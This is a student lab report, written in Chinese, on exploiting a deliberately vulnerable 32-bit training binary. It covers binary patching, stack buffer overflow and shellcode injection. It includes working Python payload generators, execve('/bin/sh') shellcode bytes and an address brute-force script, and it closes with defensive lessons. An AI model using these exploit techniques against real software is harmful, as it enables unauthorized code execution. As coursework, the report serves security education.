20242419 《网络与系统攻防技术》实验1实验报告

20242419 2026-2027-1 《网络与系统攻防技术》实验1实验报告

实验环境:Kali Linux(32 位兼容环境)、GNU Binutils(objdump / readelf)、Python 3、gdb。实验中关闭 ASLR(kernel.randomize_va_space=0),目标程序 pwn1_20242419 为 32 位 ELF,栈段权限为 RWE。


1. 基础知识

1.1 缓冲区溢出(Buffer Overflow)

缓冲区溢出是指程序向固定长度的缓冲区写入超过其容量的数据时,多余的数据会覆盖相邻内存区域的现象。当缓冲区位于栈上时,溢出的数据可以依次覆盖保存的 EBP 和返回地址,从而劫持程序的执行流程,使其跳转到攻击者指定的地址执行。这是本次实验的核心原理。

1.2 栈帧结构

IA-32 架构下函数调用时的典型栈帧(向低地址增长):

高地址 |  调用者参数  |
       |  返回地址    | ← ebp + 4
       |  保存的 EBP   | ← ebp
       |  局部变量    |
低地址 |  缓冲区(buf) | ← ebp - 0x1c(本实验)

函数通过 call 指令将返回地址压栈,push ebp; mov ebp, esp 建立栈帧,sub esp, 0x?? 为局部变量分配空间;返回时 leave; ret 弹出返回地址并跳转。因此,向缓冲区溢出 0x1c + 4 = 32 字节后,接下来的 4 个字节即为返回地址。

1.3 反汇编与 ELF 文件分析

  • objdump:objdump -d -M intel 对可执行文件反汇编,得到各函数的虚拟地址与机器码,用于定位 getShell、foo、main 等关键函数和 call 指令。
  • readelf:readelf -S 查看节(Section)信息,获得 .text 节的虚拟地址与文件偏移;readelf -l 查看程序头,GNU_STACK 段的权限标志(如 RWE)表明栈是否可执行。
  • 虚拟地址与文件偏移的换算:文件偏移 = 虚拟地址 - 节虚拟地址 + 节文件偏移。本实验中 .text 节虚拟地址 0x08048380、文件偏移 0x380,两者恰好相差 0x08048000,因此 call 指令在 0x080484b5 处对应的文件偏移为 0x4b5。

1.4 机器码手工构造

call 指令的机器码为 E8 + 4 字节相对偏移(小端序),相对偏移 = 目标地址 - (call 指令地址 + 5)。例如将 call foo 改为 call getShell:

rel = 0x0804847d - (0x080484b5 + 5) = 0xffffffc3
机器码 = e8 c3 ff ff ff

利用 Python 的 struct.pack('<I', rel32) 可按小端序打包,再用 dd conv=notrunc 将补丁写入指定文件偏移,即可完成手工修改二进制文件。

1.5 Shellcode 与 NOP 雪橇

  • Shellcode:一段可直接在目标机器上执行的二进制机器码,本实验使用 25 字节的 execve("/bin/sh", 0, 0) Shellcode,执行后弹出一个 Shell。
  • NOP 雪橇(NOP Sled):在 Shellcode 之前填充大量 0x90(NOP 空指令)。返回地址只要落入 NOP 雪橇范围内,CPU 就会逐条“滑”过 NOP 直至执行到真正的 Shellcode,大大降低了对精确跳转地址的依赖。

1.6 防御机制

  • ASLR(地址空间布局随机化):kernel.randomize_va_space 为 0 表示关闭。开启时每次运行的栈地址随机变化,使攻击者难以预测返回地址;本实验为便于演示将其关闭。
  • NX/DEP(栈不可执行):若 GNU_STACK 为 RW(非可执行),栈上注入的 Shellcode 无法执行,需借助 ret2libc、ROP 等技术绕过;本实验目标程序栈为 RWE,故可直接执行注入代码。

1.7 Payload 布局(RNS 模式)

[ 32字节填充 'A' ] + [ 返回地址 4字节 ] + [ NOP雪橇 100字节 ] + [ Shellcode 25字节 ] + [ '\n' ]

总长度 32 + 4 + 100 + 25 + 1 = 162 字节:前 32 字节填满缓冲区并覆盖到返回地址;返回地址指向栈上后续的 NOP 雪橇;程序返回后滑入并执行 Shellcode。


2. 实验内容

本实验以 pwn1_20242419(32 位可执行程序,存在 foo 函数的栈溢出漏洞,且自带未调用的 getShell 函数)为目标,完成三个递进任务:

  • 任务一:手工修改可执行文件,改变执行流程 —— 通过反汇编定位 main 中 call foo 指令的机器码,手工计算并替换为 call getShell 的机器码,使程序运行时直接弹出 Shell。
  • 任务二:BOF 覆盖返回地址 —— 不修改程序文件,利用 foo 中 gets 的缓冲区溢出漏洞,构造 32 字节填充 + getShell 地址的 payload,覆盖返回地址,使程序从 foo 返回时跳转到 getShell。
  • 任务三:注入 Shellcode 并执行 —— 不调用程序自带的 getShell,将自行构造的 execve("/bin/sh") Shellcode 注入栈上(RNS 模式 payload),让程序跳转执行注入的代码,获得 Shell。

简介方案:三个任务分别对应“静态篡改已有代码”“复用已有代码”“注入新代码”三种攻击思路。任务一通过修改二进制文件中的 call 指令机器码实现;任务二利用 gets 无长度限制造成的栈溢出覆盖返回地址;任务三在栈上布置 NOP 雪橇与 Shellcode,并让返回地址指向雪橇区域。实验中关闭了 ASLR,并确认栈可执行(GNU_STACK 为 RWE),以降低攻击难度,聚焦原理理解。


3. 实验过程

任务一:手工修改可执行文件,改变执行流程

第一步:反汇编,找关键地址

objdump -d -M intel pwn1_20242419 > disasm_20242419.txt
grep -A2 "<getShell>" disasm_20242419.txt
grep -A5 "<main>" disasm_20242419.txt

image
图 1:objdump 反汇编定位 getShell 与 main 中的 call foo

从输出中得到:

  • getShell 地址:0x0804847d
  • call foo 指令地址:0x080484b5,机器码 e8 d7 ff ff ff

第二步:计算新机器码并生成补丁文件

import struct

call_addr = 0x080484b5   # call 指令地址
getshell = 0x0804847d    # getShell 地址
rel = getshell - (call_addr + 5)
rel32 = rel & 0xffffffff
data = b'\xe8' + struct.pack('<I', rel32)

print("新机器码:", data.hex())
open('patch_20242419.bin', 'wb').write(data)

image
图 2:Python 计算 call getShell 的新机器码

输出为 新机器码: e8c3ffffff。

第三步:计算文件偏移

readelf -S pwn1_20242419 | grep -A1 "\.text"

image
图 3:readelf 查看 .text 节虚拟地址与文件偏移

.text 节虚拟地址 0x08048380,文件偏移 0x000380。计算得到 call 指令的文件偏移为 0x4b5。

第四步:打补丁

dd if=patch_20242419.bin of=pwn1_20242419 bs=1 seek=$((0x4b5)) conv=notrunc

image
图 4:dd 将补丁写入二进制文件 0x4b5 偏移处

第五步:验证补丁是否生效

objdump -d -M intel pwn1_20242419 | sed -n '/<main>:/,/^$/p'

image
图 5:objdump 验证 main 中已变为 call getShell

反汇编结果显示 main 中的 call foo 已变为 call getShell,说明补丁写入正确。

第六步:运行验证

./pwn1_20242419

image
图 6:运行补丁后的程序获得 Shell

程序直接弹出了 Shell,输入 id、whoami 后成功执行,任务一完成。


任务二:BOF 覆盖返回地址

第一步:确认使用原始版本

cp pwn1_20242419.bak pwn1_bof_20242419
chmod +x pwn1_bof_20242419

第二步:确认偏移量

objdump -d -M intel pwn1_bof_20242419 | sed -n '/<foo>:/,/^$/p'

从反汇编中看到 sub esp, 0x38、lea eax,[ebp-0x1c],缓冲区起始于 ebp-0x1c(28 字节),加上保存的 EBP(4 字节),覆盖到返回地址需要 0x1c + 4 = 32 字节。

第三步:生成 BOF 攻击 payload

import struct

payload = b'A' * 32 + struct.pack('<I', 0x0804847d) + b'\n'
open('payload_bof_20242419', 'wb').write(payload)

print("Payload 长度:", len(payload))

第四步:发动攻击

(cat payload_bof_20242419; echo "id"; echo "whoami"; echo "exit") | ./pwn1_bof_20242419

image
图 7:BOF 攻击成功获得 Shell

成功获得了 Shell,id 和 whoami 均正常输出,任务二完成。


任务三:注入 Shellcode 并执行(重点:一步步攻破过程)

任务三是本次实验中最曲折、最有意思的部分。整个过程大致分为:准备工作、gdb 抓地址、多次失败尝试、自动搜索、最终成功。下面详细回顾。

一、准备工作

关闭 ASLR:

sudo sysctl -w kernel.randomize_va_space=0
cat /proc/sys/kernel/randomize_va_space   # 输出为 0

image
图 8:关闭 ASLR

确认栈可执行:

readelf -l pwn1_bof_20242419 | grep GNU_STACK

image
图 9:确认 GNU_STACK 为 RWE,栈可执行

输出包含 RWE,表明栈可读、可写、可执行。

准备原始程序:

cd ~/20242419_chenyifu_exp
cp pwn1_20242419.bak pwn1_bof_20242419
chmod +x pwn1_bof_20242419

二、设计 Payload 布局(RNS 模式)

[ 32字节填充 'A' ] + [ 返回地址 4字节 ] + [ NOP雪橇 100字节 ] + [ Shellcode 25字节 ] + [ '\n' ]

Shellcode 为 25 字节的 execve("/bin/sh", 0, 0)。

三、第一步尝试:生成占位 payload,用 gdb attach 抓取 NOP 雪橇地址

生成占位 payload(返回地址先填 0xdeadbeef):

import struct

shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = b"A"*32 + struct.pack("<I", 0xdeadbeef) + b"\x90"*100 + shellcode
open('input_shellcode_20242419','wb').write(payload)

image
图 10:生成占位 payload,返回地址暂填 0xdeadbeef

终端 A 中运行程序,使其停在 gets 等待输入:

(cat input_shellcode_20242419; cat) | env -i ./pwn1_bof_20242419

光标卡住后,不按回车,保持进程存活。

终端 B 中用 pgrep 找到进程号,然后 gdb attach,在 foo 的 ret 处(0x080484ae)下断点:

pgrep -af pwn1_bof_20242419
# 输出 49117 ./pwn1_bof_20242419

gdb -q ./pwn1_bof_20242419
(gdb) attach 49117
(gdb) break *0x080484ae
(gdb) c

image
图 11:gdb attach 进程并在 foo 的 ret 处下断点

回到终端 A 按一次回车,程序在 ret 处断下。然后在 gdb 中查看栈:

(gdb) info registers esp
(gdb) x/40x $esp

image
图 12:ret 处栈布局,可见 0xdeadbeef 返回地址与后续 NOP 雪橇

输出显示:

esp            0xffffde1c
0xffffde1c:     0xdeadbeef      0x90909090      0x90909090      0x90909090
0xffffde2c:     0x90909090      0x90909090      0x90909090      0x90909090
...

可以清楚看到 NOP 雪橇从 0xffffde20 开始。于是我们以为返回地址填 0xffffde20 就能成功。

四、第二步尝试:直接用 0xffffde20 生成 payload 攻击,失败

用 0xffffde20 生成最终 payload:

import struct

addr = 0xffffde20
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
payload = b"A"*32 + struct.pack("<I", addr) + b"\x90"*100 + shellcode + b"\n"
open('input_shellcode_20242419','wb').write(payload)

屏幕截图 2026-09-29 183711
图 13:获得返回地址 `0xffffde20

然后攻击:

(cat input_shellcode_20242419; echo "id"; echo "whoami"; echo "exit") | env -i ./pwn1_bof_20242419

image
图 14:用 0xffffde20 攻击失败
结果:程序输出 payload 回显,然后直接退出,没有报段错误,但也没有拿到 shell。这说明跳转到了某个合法地址,但没有落在 NOP 雪橇上。后来分析原因:gdb 运行时的栈地址和直接运行时仍有差异,虽然用了 env -i,但 gdb 调试环境本身会引入偏移。

五、第三步尝试:编写自动搜索脚本,在 NOP 雪橇范围内遍历地址

既然地址有偏差,我们就在 NOP 雪橇覆盖的范围内自动搜索。NOP 雪橇是 100 字节,从 0xffffde20 到 0xffffde84。写一个 Python 脚本,从 0xffffde00 到 0xffffdf00 每 4 字节尝试一次:

import struct
import subprocess

shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
    b"\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
)

for addr in range(0xffffde00, 0xffffdf00, 4):
    payload = b"A"*32 + struct.pack("<I", addr) + b"\x90"*100 + shellcode + b"\n"
    open('input_shellcode_20242419','wb').write(payload)

    cmd = f'(cat input_shellcode_20242419; echo "id"; echo "exit") | env -i ./pwn1_bof_20242419'
    r = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
    out = r.stdout + r.stderr

    if "uid=" in out:
        print(f"\n🎉 成功!地址: {hex(addr)}")
        print(out.strip())
        break
    else:
        print(f"[-] {hex(addr)} 失败")

脚本运行后,打印了一长串失败信息,最后突然输出:

image
图 15:自动搜索脚本成功命中地址 0xffffde3c

🎉 成功!地址: 0xffffde3c
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),...
kali

成功!返回地址 0xffffde3c 落在 NOP 雪橇范围内,滑入并执行了 Shellcode。
任务三完成!

4. 问题及解决方案

  • 问题1:计算 call 相对偏移时容易算错或混淆大小端序

  • 问题1解决方案:改用 Python 脚本统一处理:用 rel = getshell - (call_addr + 5) 计算相对偏移,rel & 0xffffffff 处理负数补码,再用 struct.pack('<I', rel32) 强制小端序打包。结果 e8 c3 ff ff ff 一次正确,避免了人工计算错误。

  • 问题2:gdb 中看到的栈地址与程序直接运行时的地址不一致,导致 Shellcode 无法命中

  • 问题2解决方案:采用两个措施:① 用 env -i 清空环境变量运行程序,尽量减小环境差异;② 使用 100 字节的 NOP 雪橇扩大命中范围,并编写脚本在 NOP 雪橇范围内自动逐一尝试候选返回地址。最终自动搜索到正确地址 0xffffde3c,成功弹出 Shell。

  • 问题3:payload 通过管道传入后 Shell 立即退出,无法交互

  • 问题3解决方案:改用 (cat payload_bof_20242419; echo "id"; echo "whoami"; echo "exit") | ./pwn1_bof_20242419 的方式,在 payload 之后继续向管道喂入命令,即可看到 Shell 中命令的执行结果;交互式场景则用 (cat input_shellcode_20242419; cat) | ./pwn1_bof_20242419 保持标准输入不断开。


5. 学习感悟、思考等

本次实验让我第一次完整地走通了“二进制攻击”的三条经典路径,对抽象的课程概念有了非常具体的认识。

首先,对程序执行机制的理解加深了。以前学汇编时,call/ret、栈帧、返回地址只是书本上的图;这次亲手算出 e8 c3 ff ff ff 这 5 个字节,看着 dd 把它们写进文件的 0x4b5 偏移,再用 objdump 确认 call foo 变成了 call getShell,才真正体会到“程序的执行流程本质上就是内存中的一串字节”,攻击者改的就是这几个字节。

其次,三个任务是层层递进的攻防思维训练。任务一属于“静态篡改”,任务二利用了程序自带但未被调用的代码,任务三则完全注入自己的代码。这三者正好对应着从“篡改已有代码”到“复用已有代码”再到“注入新代码”的演进,也让我理解了为什么现代防护要引入 NX、ASLR、栈 Canary——每一层防御都精确针对一类攻击前提。

再次,细节决定成败。这个实验里失败几乎都来自“小”问题:小端序、偏移量差 4 个字节、gdb 与直接运行的栈地址差异、管道输入立即结束。这让我体会到二进制安全的严谨性——攻击和防御双方比拼的就是对内存布局每个字节的精确掌控。同时,NOP 雪橇和自动爆破脚本也让我明白,攻击中“不精确”的部分可以用工程手段(冗余 + 自动化)来弥补。

最后,攻防一体。亲手攻破一个程序之后,我更能站在防御者角度思考:如果我是开发者,gets 应该换成 fgets 并限制长度;编译时应开启 -fstack-protector、-z noexecstack、-fPIE;系统层面应保持 ASLR 开启。理解攻击原理是做好防护的前提,这也是本次实验最大的收获。


6. 参考资料

posted @ 2026-10-02 12:27  陈贻富  阅读(8)  评论(0)    收藏  举报